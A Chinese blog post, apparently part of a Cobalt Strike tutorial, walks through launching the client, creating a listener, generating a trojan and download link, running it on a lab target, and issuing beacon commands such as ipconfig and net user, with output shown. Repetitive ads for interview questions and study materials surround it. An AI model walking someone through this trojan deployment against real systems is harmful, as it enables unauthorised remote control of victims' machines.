2024年网络安全最新【网络安全】CobaltStrike 使用(3)，2024最新网易网络安全面经

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

###### 二、运行客户端


1、本例还是在 Kali 中运行，注意因为要打开界面，所以在SSH下面不行，我们可以远程桌面到Kail，然后再运行


![](https://img-blog.csdnimg.cn/direct/7b1915e5ea17449c832d3eab800fd2a7.png)


2、切换到 CS 目录，运行

sh start.sh

3、弹出连接界面，输入上面设置的密码 admin@123


![](https://img-blog.csdnimg.cn/direct/fbf1b2db107a4dd5b51eaf616e312d7c.png)


###### 三、创建监听器


1、创建监听器  


![](https://img-blog.csdnimg.cn/direct/476b31d45a0243fea10a2ece6a76fa3f.png)


2、点击最下面 Add


![](https://img-blog.csdnimg.cn/direct/0488d575ffbd433192ca936c439d369b.png)


###### 四、创建木马


1、创建攻击木马


![](https://img-blog.csdnimg.cn/direct/870f2f6daf1a4cc29fc97d9f605abf83.png)


2、选择上面创建的监听器


![](https://img-blog.csdnimg.cn/direct/90241d0f867e4502a4e73d137a3c8b72.png)


3、保存木马文件


![](https://img-blog.csdnimg.cn/direct/e6e16601a190434b8bdfd86a23713b2a.png)


4、创建木马链接


![](https://img-blog.csdnimg.cn/direct/4beb5b13758146478b8661ac9428672d.png)


5、选择木马位置与生成的文件名


![](https://img-blog.csdnimg.cn/direct/ff17b85cec4a4d8895a1bddebbe8fcbc.png)


6、把生成的木马链接在 靶机上面运行 


![](https://img-blog.csdnimg.cn/direct/83e1d4fda6d74b658d4985ba1a1a0559.png)


###### 五、靶机运行木马


1、靶机下载木马并运行


![](https://img-blog.csdnimg.cn/direct/b7822332242e4189b5fbd63c1b78c871.png)


###### 六、CS服务端查看靶机上线


1、可以看到靶机已经上线了


![](https://img-blog.csdnimg.cn/direct/e2c13675cac6458fba24dc9697655f17.png)


2、进入靶机


![](https://img-blog.csdnimg.cn/direct/3afb914b370d4799995138fd61e2dd42.png)


3、成功出现命令行


![](https://img-blog.csdnimg.cn/direct/959ef1cc74e447e79120b8f546a45636.png)


4、查看靶机IP和用户

beacon> shell ipconfig

输出

[*] Tasked beacon to run: ipconfig
[+] host called home, sent: 39 bytes
[+] received output:

Windows IP 配置

以太网适配器 本地连接:

连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::8c47:ccd9:f10f:1b8b%11
IPv4 地址 . . . . . . . . . . . . : 10.3.0.234
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.3.0.1

隧道适配器 isatap.{28F326C2-E31B-42B2-B03F-F2E07F5FAD84}:

媒体状态 . . . . . . . . . . . . : 媒体已断开
连接特定的 DNS 后缀 . . . . . . . :

beacon> net user

输出

[*] Tasked beacon to run net user on localhost
[+] host called home, sent: 105073 bytes
[+] received output:
Users for \localhost:

Administrator (admin)

还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！

王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。

对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！

【完整版领取方式在文末！！】

93道网络安全面试题

内容实在太多，不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

1️⃣零基础入门

① 学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！